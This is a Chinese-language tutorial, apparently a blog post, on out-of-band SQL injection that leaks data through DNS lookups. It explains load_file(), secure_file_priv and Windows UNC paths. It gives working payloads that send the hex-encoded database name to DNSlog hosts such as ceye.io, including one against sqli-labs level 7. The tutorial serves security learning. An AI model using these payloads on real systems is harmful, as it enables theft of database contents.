SQL注入--DNSlog外带注入--理论
什么是DNSlog?
DNS的作用是将域名解析为IP
而DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名访问信息。可以理解为DNS服务器上的日志文件。
多级域名
比如blog.csdn.net
,以点为分隔,从右向左依次是顶级域名、二级域名、三级域名。
即,net是顶级域名,csdn是二级域名,blog是三级域名。
域名不区分大小写。
DNSlog外带的原理
在进行ping命令时会使用DNS解析:
这里 %username% 就是被解析后,与csdn.com进行了拼接,然后再去执行Ping命令。
这里我们界面就回显得到了REAL_.csdn.com,也就是得到了username的值。这个过程就可以被称为DNSlog外带。
因此,能够进行DNS请求的函数都有可能存在DNSlog注入。
DNSlog外带注入的条件
- MYSQL开启 load_file ()
- 目标服务器是 Windows 系统
- 准备一个 DNSLog 平台
load_file()可以读取那些文件?
load_file()函数读取一个文件并将其内容作为字符串返回。
在my.ini中,存在secure_file_priv
这个配置:
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
为什么只能在windows使用?
因为load_file()进行DNSlog外带的时候要使用windows特有的UNC路径。
就是下面这种形式的路径:
\\192.168.31.53\test\
DNSlog平台的使用
这里我先向DNSlog平台获取到一个域名,然后将%username%添加到四级域名并进行Ping,外带的信息就会保存到网站上。
外带注入的实现
基本形式:
LOAD_FILE(CONCAT('\\\\',(SELECT HEX(database())),'.m8rwsy.ceye.io\\abc'))
concat将后面的字符串拼接起来,拼接成功后的形式应该是:
\\\\(SELECT HEX(database())).m8rwsy.ceye.io\\abc
DNSlog外带的域名:
\\(SELECT HEX(database())).m8rwsy.ceye.io\abc
这里四个反斜杠\\\\
被转义为两个反斜杠\\
,同理两个反斜杠被转义为一个反斜杠。
这里用sqli-labs第七关举例:
?id=-1')) union select load_file(concat('\\\\',(select hex(database())),'.wfdh2v.dnslog.cn\\abc')),2,3--+
成功外带。返回的是十六进制的编码数据,转为文本看看:
得到数据库名security.